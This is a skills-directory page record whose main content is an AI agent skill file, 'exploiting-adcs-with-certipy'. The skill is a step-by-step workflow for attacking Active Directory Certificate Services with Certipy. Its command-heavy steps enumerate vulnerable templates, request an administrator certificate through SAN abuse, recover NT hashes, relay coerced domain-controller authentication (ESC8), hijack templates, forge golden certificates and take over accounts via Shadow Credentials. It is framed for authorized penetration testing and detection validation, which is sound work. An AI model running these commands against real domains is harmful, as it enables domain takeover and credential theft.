[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A6SHV9TJJ2ERA6V7P3FV2H":3,"skill-same:01M7A6SHV9TJJ2ERA6V7P3FV2H":83},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":42,"commitSha":43,"skillDirectory":44,"forksCount":14,"repositoryHtmlUrl":45,"repositoryHomepageUrl":6,"ownerHtmlUrl":46,"ownerBlogUrl":6,"ownerDescription":47,"updatedAt":48,"install":49,"resources":62},"01M7A6SHV9TJJ2ERA6V7P3FV2H","exploiting-adcs-with-certipy",null,"Use Certipy to enumerate AD CS certificate authorities and templates over LDAP\u002FRPC, then exploit ESC1-ESC16 misconfigurations - SAN abuse, NTLM relay to web enrollment (ESC8), Shadow Credentials, golden certificate forgery, and PKINIT\u002FSchannel auth. Use during authorized penetration tests to escalate a domain foothold to Domain Admin, or to validate that certificate template ACLs and CA hardening detect these attacks.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-adcs-with-certipy\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-adcs-with-certipy\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-adcs-with-certipy\ndescription: Use Certipy to enumerate AD CS certificate authorities and templates over LDAP\u002FRPC, then exploit ESC1-ESC16 misconfigurations - SAN abuse, NTLM relay to web enrollment (ESC8), Shadow Credentials, golden certificate forgery, and PKINIT\u002FSchannel auth. Use during authorized penetration tests to escalate a domain foothold to Domain Admin, or to validate that certificate template ACLs and CA hardening detect these attacks.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- active-directory\n- adcs\n- certipy\n- esc1\n- esc8\n- privilege-escalation\n- pkinit\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1649\n---\n# Exploiting AD CS with Certipy\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Active Directory Certificate Services attacks can result in full domain compromise. Run these techniques only against systems you own or have explicit written authorization to test. Unauthorized use is illegal under computer fraud statutes.\n\n## Overview\n\nActive Directory Certificate Services (AD CS) is Microsoft's public-key infrastructure role used to issue certificates for authentication, encryption, and signing inside a Windows domain. SpecterOps researchers Will Schroeder and Lee Christensen documented a family of privilege-escalation primitives in their 2021 whitepaper *Certified Pre-Owned*, naming them ESC1 through ESC8. The community has since extended the catalog through ESC16. Because a certificate that maps to a privileged principal can be used for PKINIT Kerberos authentication, an attacker who obtains such a certificate can authenticate as a Domain Admin or Domain Controller without ever knowing the password — and the certificate remains valid even after a password reset.\n\n**Certipy** (package `certipy-ad`, maintained by Oliver Lyak \u002F `ly4k`) is the de-facto offensive toolkit for AD CS. It is a pure-Python tool that enumerates certificate authorities and templates over LDAP\u002FRPC, requests and forges certificates, performs PKINIT\u002FSchannel authentication, runs Shadow Credentials attacks, and relays coerced NTLM authentication into AD CS HTTP and RPC enrollment endpoints. Certipy supports detection and exploitation across the full ESC1-ESC16 range, making it the primary tool for AD CS assessment. Source: [ly4k\u002FCertipy](https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy) and [SpecterOps \"Certified Pre-Owned\"](https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf).\n\n## When to Use\n\n- During internal penetration tests and red-team engagements where AD CS is in scope\n- When a low-privileged domain foothold needs a path to Domain Admin \u002F Domain Controller\n- To validate that certificate template ACLs and CA configuration are hardened\n- When testing detection coverage for certificate-based privilege escalation\n- During purple-team exercises to generate ESC1\u002FESC8 telemetry for blue-team tuning\n\n## Prerequisites\n\n- Authorized engagement scope that explicitly includes AD CS exploitation\n- A foothold: valid domain credentials (password, NT hash, or Kerberos ticket) for any low-privileged user\n- Network reachability to a Domain Controller (LDAP\u002F389, LDAPS\u002F636) and the CA host\n- Python 3.10+ (Certipy 5.x requires Python 3.12+) and a Linux attack host\n- Install Certipy:\n  ```bash\n  # Recommended isolated install\n  pipx install certipy-ad\n  # Or with pip\n  pip install certipy-ad\n  # Verify\n  certipy --version\n  ```\n- For ESC8 relay you also need a coercion tool (Coercer\u002FPetitPotam) and reachable victim machine accounts\n\n## Objectives\n\n- Enumerate every CA, template, and enrollment endpoint in the forest\n- Identify which ESC1-ESC16 misconfigurations are exploitable from the current principal\n- Request a certificate impersonating a privileged target (ESC1 SAN abuse)\n- Relay coerced authentication into AD CS web enrollment to obtain a DC certificate (ESC8)\n- Authenticate with a forged\u002Fissued certificate to recover a TGT and NT hash\n- Document each finding with evidence and remediation guidance\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1649 | Steal or Forge Authentication Certificates | Requesting, forging, and abusing AD CS certificates (ESC1-ESC16) to authenticate as privileged principals |\n\n## Workflow\n\n### Step 1: Enumerate AD CS with `certipy find`\nCollect CA and template configuration and flag vulnerable templates. `find` runs LDAP and RPC queries and produces JSON, a BloodHound-compatible ZIP, and a human-readable text report.\n\n```bash\n# Full enumeration, only enabled templates, hide built-in admin ACEs\ncertipy find \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -text -enabled -hide-admins\n\n# Output only templates Certipy considers vulnerable\ncertipy find \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -vulnerable -stdout\n\n# Authenticate with an NT hash instead of a password\ncertipy find -u 'attacker@corp.local' -hashes ':fc525c9683e8fe067095ba2ddc971889' \\\n    -dc-ip 10.0.0.100 -vulnerable -stdout\n```\nReview the `[!] Vulnerabilities` block in the output. Each finding is labeled `ESC1`...`ESC16` with the affected template\u002FCA name.\n\n### Step 2: Exploit ESC1 — Enrollee-Supplied Subject (SAN abuse)\nESC1 templates let a low-privileged enrollee specify an arbitrary Subject Alternative Name and include the Client Authentication EKU. Request a certificate for a privileged UPN and pin the target SID (Certipy auto-adds the SID extension to satisfy the post-May-2022 strong-mapping patch).\n\n```bash\ncertipy req \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \\\n    -ca 'CORP-CA' -template 'VulnUserTemplate' \\\n    -upn 'administrator@corp.local' \\\n    -sid 'S-1-5-21-1111111111-2222222222-3333333333-500'\n# -> saves administrator.pfx\n```\n\n### Step 3: Authenticate with the certificate via `certipy auth`\nUse the issued PFX to perform PKINIT, obtain a TGT, and recover the target's NT hash.\n\n```bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.100\n# Output: a .ccache TGT and the recovered NT hash for administrator\n```\nIf PKINIT is unavailable, fall back to Schannel\u002FLDAP authentication:\n```bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell\n```\n\n### Step 4: Exploit ESC8 — NTLM relay to AD CS Web Enrollment\nESC8 abuses the AD CS web enrollment interface (`\u002Fcertsrv\u002F`) that accepts NTLM auth. Stand up Certipy's relay server targeting the CA's HTTP endpoint, then coerce a Domain Controller to authenticate to your relay (coercion covered in the Coercer skill).\n\n```bash\n# Terminal 1: relay coerced auth into web enrollment, request a DC cert\ncertipy relay -target 'http:\u002F\u002FCA.CORP.LOCAL' -template 'DomainController'\n\n# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)\ncoercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50\n```\nCertipy writes a `dc.pfx`. Authenticate as the DC machine account and DCSync:\n```bash\ncertipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100\n```\n\n### Step 5: Exploit ESC4 — Template ACL hijack\nIf you hold write access over a template, temporarily reconfigure it into an ESC1-vulnerable state, exploit, then restore.\n\n```bash\n# Make the template vulnerable (save the original config first)\ncertipy template -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration\n# ... run Step 2 ESC1 request, then restore the saved configuration\n```\n\n### Step 6: Forge a Golden Certificate (post-compromise persistence)\nWith access to the CA's private key (e.g., via backup), forge certificates for any principal offline.\n\n```bash\n# Extract the CA certificate and private key from a compromised CA\ncertipy ca -backup -u 'admin@corp.local' -hashes :\u003Cnthash> \\\n    -ca 'CORP-CA' -dc-ip 10.0.0.100\n\n# Forge a certificate for any user using the CA key\ncertipy forge -ca-pfx 'CORP-CA.pfx' \\\n    -upn 'administrator@corp.local' \\\n    -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'\n```\n\n### Step 7: Shadow Credentials shortcut\nIf you have write access to a target's `msDS-KeyCredentialLink`, Certipy can take over the account end-to-end (see the dedicated Shadow Credentials skill).\n\n```bash\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim-dc$'\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Certipy (ly4k) | Primary AD CS attack toolkit | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| Certipy Wiki | Command reference and ESC explanations | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy\u002Fwiki |\n| Certified Pre-Owned (SpecterOps) | Original ESC1-ESC8 research | https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf |\n| The Hacker Recipes — AD CS | Attack walkthroughs | https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fad-cs |\n| Impacket ntlmrelayx | Alternative ESC8 relay | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n\n## ESC Vulnerability Reference\n\n| ESC | Misconfiguration |\n|-----|------------------|\n| ESC1 | Enrollee-supplied subject + Client Auth EKU on a low-priv template |\n| ESC2 | Any Purpose \u002F no EKU template usable as enrollment agent |\n| ESC3 | Enrollment Agent template with loose enroll rights |\n| ESC4 | Write access over a template (hijack into ESC1) |\n| ESC5 | Weak ACLs on PKI objects (CA, NTAuthCertificates) |\n| ESC6 | CA `EDITF_ATTRIBUTESUBJECTALTNAME2` allows arbitrary SAN |\n| ESC7 | Dangerous `Manage CA` \u002F `Manage Certificates` permissions |\n| ESC8 | NTLM relay to AD CS HTTP web enrollment |\n| ESC9 | No security extension (`szOID_NTDS_CA_SECURITY_EXT`) on template |\n| ESC10 | Weak certificate mapping registry settings |\n| ESC11 | NTLM relay to AD CS RPC (ICertPassage) endpoint |\n| ESC13 | Issuance policy linked to a privileged group (OID group link) |\n| ESC15 | Application Policies abuse (CVE-2024-49019, \"EKUwu\") |\n| ESC16 | Security extension disabled CA-wide |\n\n## Validation Criteria\n\n- [ ] `certipy find -vulnerable` ran and produced a list of exploitable templates\u002FCAs\n- [ ] At least one ESC misconfiguration confirmed with a successful `certipy req`\n- [ ] `certipy auth` returned a TGT and NT hash for the impersonated privileged account\n- [ ] ESC8 relay (if in scope) yielded a Domain Controller certificate\n- [ ] Any modified template (ESC4) was restored to its original configuration\n- [ ] Each finding documented with command output, affected object, and remediation\n- [ ] Issued certificates and PFX files securely handled and removed at engagement close\n","# Exploiting AD CS with Certipy\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Active Directory Certificate Services attacks can result in full domain compromise. Run these techniques only against systems you own or have explicit written authorization to test. Unauthorized use is illegal under computer fraud statutes.\n\n## Overview\n\nActive Directory Certificate Services (AD CS) is Microsoft's public-key infrastructure role used to issue certificates for authentication, encryption, and signing inside a Windows domain. SpecterOps researchers Will Schroeder and Lee Christensen documented a family of privilege-escalation primitives in their 2021 whitepaper *Certified Pre-Owned*, naming them ESC1 through ESC8. The community has since extended the catalog through ESC16. Because a certificate that maps to a privileged principal can be used for PKINIT Kerberos authentication, an attacker who obtains such a certificate can authenticate as a Domain Admin or Domain Controller without ever knowing the password — and the certificate remains valid even after a password reset.\n\n**Certipy** (package `certipy-ad`, maintained by Oliver Lyak \u002F `ly4k`) is the de-facto offensive toolkit for AD CS. It is a pure-Python tool that enumerates certificate authorities and templates over LDAP\u002FRPC, requests and forges certificates, performs PKINIT\u002FSchannel authentication, runs Shadow Credentials attacks, and relays coerced NTLM authentication into AD CS HTTP and RPC enrollment endpoints. Certipy supports detection and exploitation across the full ESC1-ESC16 range, making it the primary tool for AD CS assessment. Source: [ly4k\u002FCertipy](https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy) and [SpecterOps \"Certified Pre-Owned\"](https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf).\n\n## When to Use\n\n- During internal penetration tests and red-team engagements where AD CS is in scope\n- When a low-privileged domain foothold needs a path to Domain Admin \u002F Domain Controller\n- To validate that certificate template ACLs and CA configuration are hardened\n- When testing detection coverage for certificate-based privilege escalation\n- During purple-team exercises to generate ESC1\u002FESC8 telemetry for blue-team tuning\n\n## Prerequisites\n\n- Authorized engagement scope that explicitly includes AD CS exploitation\n- A foothold: valid domain credentials (password, NT hash, or Kerberos ticket) for any low-privileged user\n- Network reachability to a Domain Controller (LDAP\u002F389, LDAPS\u002F636) and the CA host\n- Python 3.10+ (Certipy 5.x requires Python 3.12+) and a Linux attack host\n- Install Certipy:\n  ```bash\n  # Recommended isolated install\n  pipx install certipy-ad\n  # Or with pip\n  pip install certipy-ad\n  # Verify\n  certipy --version\n  ```\n- For ESC8 relay you also need a coercion tool (Coercer\u002FPetitPotam) and reachable victim machine accounts\n\n## Objectives\n\n- Enumerate every CA, template, and enrollment endpoint in the forest\n- Identify which ESC1-ESC16 misconfigurations are exploitable from the current principal\n- Request a certificate impersonating a privileged target (ESC1 SAN abuse)\n- Relay coerced authentication into AD CS web enrollment to obtain a DC certificate (ESC8)\n- Authenticate with a forged\u002Fissued certificate to recover a TGT and NT hash\n- Document each finding with evidence and remediation guidance\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1649 | Steal or Forge Authentication Certificates | Requesting, forging, and abusing AD CS certificates (ESC1-ESC16) to authenticate as privileged principals |\n\n## Workflow\n\n### Step 1: Enumerate AD CS with `certipy find`\nCollect CA and template configuration and flag vulnerable templates. `find` runs LDAP and RPC queries and produces JSON, a BloodHound-compatible ZIP, and a human-readable text report.\n\n```bash\n# Full enumeration, only enabled templates, hide built-in admin ACEs\ncertipy find \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -text -enabled -hide-admins\n\n# Output only templates Certipy considers vulnerable\ncertipy find \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -vulnerable -stdout\n\n# Authenticate with an NT hash instead of a password\ncertipy find -u 'attacker@corp.local' -hashes ':fc525c9683e8fe067095ba2ddc971889' \\\n    -dc-ip 10.0.0.100 -vulnerable -stdout\n```\nReview the `[!] Vulnerabilities` block in the output. Each finding is labeled `ESC1`...`ESC16` with the affected template\u002FCA name.\n\n### Step 2: Exploit ESC1 — Enrollee-Supplied Subject (SAN abuse)\nESC1 templates let a low-privileged enrollee specify an arbitrary Subject Alternative Name and include the Client Authentication EKU. Request a certificate for a privileged UPN and pin the target SID (Certipy auto-adds the SID extension to satisfy the post-May-2022 strong-mapping patch).\n\n```bash\ncertipy req \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \\\n    -ca 'CORP-CA' -template 'VulnUserTemplate' \\\n    -upn 'administrator@corp.local' \\\n    -sid 'S-1-5-21-1111111111-2222222222-3333333333-500'\n# -> saves administrator.pfx\n```\n\n### Step 3: Authenticate with the certificate via `certipy auth`\nUse the issued PFX to perform PKINIT, obtain a TGT, and recover the target's NT hash.\n\n```bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.100\n# Output: a .ccache TGT and the recovered NT hash for administrator\n```\nIf PKINIT is unavailable, fall back to Schannel\u002FLDAP authentication:\n```bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell\n```\n\n### Step 4: Exploit ESC8 — NTLM relay to AD CS Web Enrollment\nESC8 abuses the AD CS web enrollment interface (`\u002Fcertsrv\u002F`) that accepts NTLM auth. Stand up Certipy's relay server targeting the CA's HTTP endpoint, then coerce a Domain Controller to authenticate to your relay (coercion covered in the Coercer skill).\n\n```bash\n# Terminal 1: relay coerced auth into web enrollment, request a DC cert\ncertipy relay -target 'http:\u002F\u002FCA.CORP.LOCAL' -template 'DomainController'\n\n# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)\ncoercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50\n```\nCertipy writes a `dc.pfx`. Authenticate as the DC machine account and DCSync:\n```bash\ncertipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100\n```\n\n### Step 5: Exploit ESC4 — Template ACL hijack\nIf you hold write access over a template, temporarily reconfigure it into an ESC1-vulnerable state, exploit, then restore.\n\n```bash\n# Make the template vulnerable (save the original config first)\ncertipy template -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration\n# ... run Step 2 ESC1 request, then restore the saved configuration\n```\n\n### Step 6: Forge a Golden Certificate (post-compromise persistence)\nWith access to the CA's private key (e.g., via backup), forge certificates for any principal offline.\n\n```bash\n# Extract the CA certificate and private key from a compromised CA\ncertipy ca -backup -u 'admin@corp.local' -hashes :\u003Cnthash> \\\n    -ca 'CORP-CA' -dc-ip 10.0.0.100\n\n# Forge a certificate for any user using the CA key\ncertipy forge -ca-pfx 'CORP-CA.pfx' \\\n    -upn 'administrator@corp.local' \\\n    -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'\n```\n\n### Step 7: Shadow Credentials shortcut\nIf you have write access to a target's `msDS-KeyCredentialLink`, Certipy can take over the account end-to-end (see the dedicated Shadow Credentials skill).\n\n```bash\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim-dc$'\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Certipy (ly4k) | Primary AD CS attack toolkit | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| Certipy Wiki | Command reference and ESC explanations | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy\u002Fwiki |\n| Certified Pre-Owned (SpecterOps) | Original ESC1-ESC8 research | https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf |\n| The Hacker Recipes — AD CS | Attack walkthroughs | https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fad-cs |\n| Impacket ntlmrelayx | Alternative ESC8 relay | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n\n## ESC Vulnerability Reference\n\n| ESC | Misconfiguration |\n|-----|------------------|\n| ESC1 | Enrollee-supplied subject + Client Auth EKU on a low-priv template |\n| ESC2 | Any Purpose \u002F no EKU template usable as enrollment agent |\n| ESC3 | Enrollment Agent template with loose enroll rights |\n| ESC4 | Write access over a template (hijack into ESC1) |\n| ESC5 | Weak ACLs on PKI objects (CA, NTAuthCertificates) |\n| ESC6 | CA `EDITF_ATTRIBUTESUBJECTALTNAME2` allows arbitrary SAN |\n| ESC7 | Dangerous `Manage CA` \u002F `Manage Certificates` permissions |\n| ESC8 | NTLM relay to AD CS HTTP web enrollment |\n| ESC9 | No security extension (`szOID_NTDS_CA_SECURITY_EXT`) on template |\n| ESC10 | Weak certificate mapping registry settings |\n| ESC11 | NTLM relay to AD CS RPC (ICertPassage) endpoint |\n| ESC13 | Issuance policy linked to a privileged group (OID group link) |\n| ESC15 | Application Policies abuse (CVE-2024-49019, \"EKUwu\") |\n| ESC16 | Security extension disabled CA-wide |\n\n## Validation Criteria\n\n- [ ] `certipy find -vulnerable` ran and produced a list of exploitable templates\u002FCAs\n- [ ] At least one ESC misconfiguration confirmed with a successful `certipy req`\n- [ ] `certipy auth` returned a TGT and NT hash for the impersonated privileged account\n- [ ] ESC8 relay (if in scope) yielded a Domain Controller certificate\n- [ ] Any modified template (ESC4) was restored to its original configuration\n- [ ] Each finding documented with command output, affected object, and remediation\n- [ ] Issued certificates and PFX files securely handled and removed at engagement close\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"nist_csf":37,"subdomain":39,"description":7,"mitre_attack":40},[26,27,28,29,30,31,32,33],"red-team","active-directory","adcs","certipy","esc1","esc8","privilege-escalation","pkinit","mahipal","cybersecurity","1.0",[38],"PR.AA-05","red-teaming",[41],"T1649","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fexploiting-adcs-with-certipy","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":50,"prompt":60,"zipAvailable":61},[51,54,57],{"tool":52,"command":53},"npx","npx skills add NeelakshSaxena\u002FVayu --skill exploiting-adcs-with-certipy",{"tool":55,"command":56},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill exploiting-adcs-with-certipy",{"tool":58,"command":59},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill exploiting-adcs-with-certipy","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-adcs-with-certipy\u002FSKILL.md",true,[63,67,73,77],{"path":64,"resourceType":64,"resourceTypeDesc":65,"sizeBytes":66,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":68,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":72},"references\u002Fapi-reference.md","REFERENCE","参考文档",3299,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-adcs-with-certipy\u002Freferences\u002Fapi-reference.md",{"path":74,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":75,"sourceHtmlUrl":76},"references\u002Fstandards.md",1158,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-adcs-with-certipy\u002Freferences\u002Fstandards.md",{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"scripts\u002Fagent.py","SCRIPT","脚本",5875,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-adcs-with-certipy\u002Fscripts\u002Fagent.py",[84,91,98,105,112,119],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]